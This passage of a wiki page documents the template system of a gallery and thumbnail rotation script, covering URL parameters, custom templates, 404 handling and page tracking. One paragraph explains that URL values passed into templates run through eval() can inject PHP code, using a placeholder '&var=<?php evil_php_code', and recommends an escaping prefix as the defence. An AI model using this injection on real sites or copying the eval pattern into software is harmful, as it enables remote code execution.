 +Add it as video_url and enable the Make screenshots option. The script will download the video and make screenshots in the amount specified by How Many Thumbs from each gallery?. Then go to Preload, where you will see the thumbs cut from that video. Mark the thumbs that should be added to rotation and enable Add Unchecked as User Thumbs. The checked thumbs will be added to rotation and stored in the database, while all thumbs will also be saved as User Thumbs on disk only. They can then be used for thumb rolling with the same script shown in point 1. 
 + 
 +======  How it works ====== 
 + 
 +How the template system works, for advanced users. 
 + 
 +<code> 
 +model page /?model_slug=...&force_template=model_galleries 
 + 
 +Some pages have a default template assigned. For example: 
 + 
 +category page /?category_id=5 
 + 
 +although template is not specified here, 
 +the content_list template will be used, 
 +but you can also specify your own, for example 
 + 
 +/?category_id=5&force_template=mytpl 
 +</code> 
 + 
 +Thus, you can generate any URL and any templates using rewrite. 
 + 
 + 
 +Template parsing happens in two steps: first the script macros are replaced, for example <thumb ... <!--GALLERY_SLUG-->, and only then eval is used to execute your PHP code in the template. 
 + 
 +Be careful with your own PHP code so you do not introduce security holes. For example, suppose you output a URL parameter with <!--GET_var--> and the user passes &var=123. In that case the template receives the literal string 123. If eval() then processes that line, it remains harmless because there is no PHP code in it. 
 + 
 +Now imagine the user passes not 123 but something like &var=<?php evil_php_code. Then <!--GET_var--> is replaced with that string, and eval would execute it. To prevent this, use the prefixes described in [[new_rotation_templates#tag_prefix]]. For example, <!--HTMLENTITY_GET_var--> outputs “<?php” as HTML entities, so the attacker’s PHP code is rendered as text and not executed. 
 + 
 + 
 +---- 
 + 
 + 
 +**Custom galleries** - by default, all content from the source gallery is grabbed, although during grabbing you can also limit it to a specific content type such as pictures, movies, or flash. The parser checks what content is available. If there is only one type of content, the appropriate template is assigned automatically, for example content_custom_pic or content_custom_mov. If several content types are present, content_custom_mix is assigned. Technically it does not matter to the script which template is used for which gallery; this split exists only for convenience. For example, in the default pic template the thumb simply links to the image, in mov it is styled like a player, and in flash the embed code is displayed immediately. 
 + 
 +When adding content, you can force a specific template. Usually this is unnecessary, because in 99% of cases the script selects a suitable standard template automatically. The remaining cases are when you create a custom template for a specific sponsor or content type. For example, you may create an alternative pixel template for one sponsor and then choose that template manually during import. 
 + 
 +Basic parameters in the script 
 + 
 +<code> 
 +/? 
 +page=... 
 +order= (ctr - default, date, duration) 
 +force_template 
 +slug= slug gallery 
 +sponsor_slug= 
 +model_slug= 
 +search= 
 +date_start= , date_end= 
 +and predefined dates date_limit=today, yesterday, this_week, this_month 
 +</code> 
 + 
 + 
 +======  Content search and 404 ====== 
 + 
 +In the rotation settings there is an option "URLs with 0 result thumbs return 404 (content_not_found)". Let's say it's turned on. 
 + 
 +If a user searches on the site and gets 0 results, then strictly speaking the page could return 404. In practice, people usually prefer a normal page saying “nothing was found for your search”, so the script was originally written not to apply this option on search pages (content_search). 
 + 
 +But if suddenly you need to rewrite this behavior, then you need to use **zero_items_return_404=true** , for example 
 + 
 +  <thumb num=1-180 zero_items_return_404=true>...</thumb> 
 + 
 + 
 +======  SCJ_VISITOR ====== 
 + 
 +Especially for PHP templates, there is a global variable $GLOBALS['SCJ_VISITOR'] which contains the current user's data, this can be used if you need to change something in the template depending on the surfer's parameters, for example 
 + 
 +<code> 
 +<?php 
 + 
 +if ($GLOBALS['SCJ_VISITOR']['mobile']) { 
 + 
 +print_r($GLOBALS['SCJ_VISITOR']); 
 + 
 +} 
 +</code> 
 + 
 + 
 +====== Page track ====== 
 + 
 +You can track which page traffic comes to and what transitions there are on the site. 
 + 
 +In Trade - Statistics - Page Track there are 2 columns: Inbound Views (if the ref is not our site) and Local Views (if the ref is our site) 
 + 
 +There are 2 options 
 + 
 +1. &page_track=... in the URL 
 + 
 +2. in the template tag <!--PAGE_TRACK_....--> 
 + 
 +For example 
 + 
 +  <!--PAGE_TRACK_CURRENT_PAGE-->  
 +  <!--PAGE_TRACK_CATEGORY-->  
 +  <!--PAGE_TRACK_ANY_WORD-->  
 +   
new_rotation_templates.1491578686.txt.gz · Last modified: by admin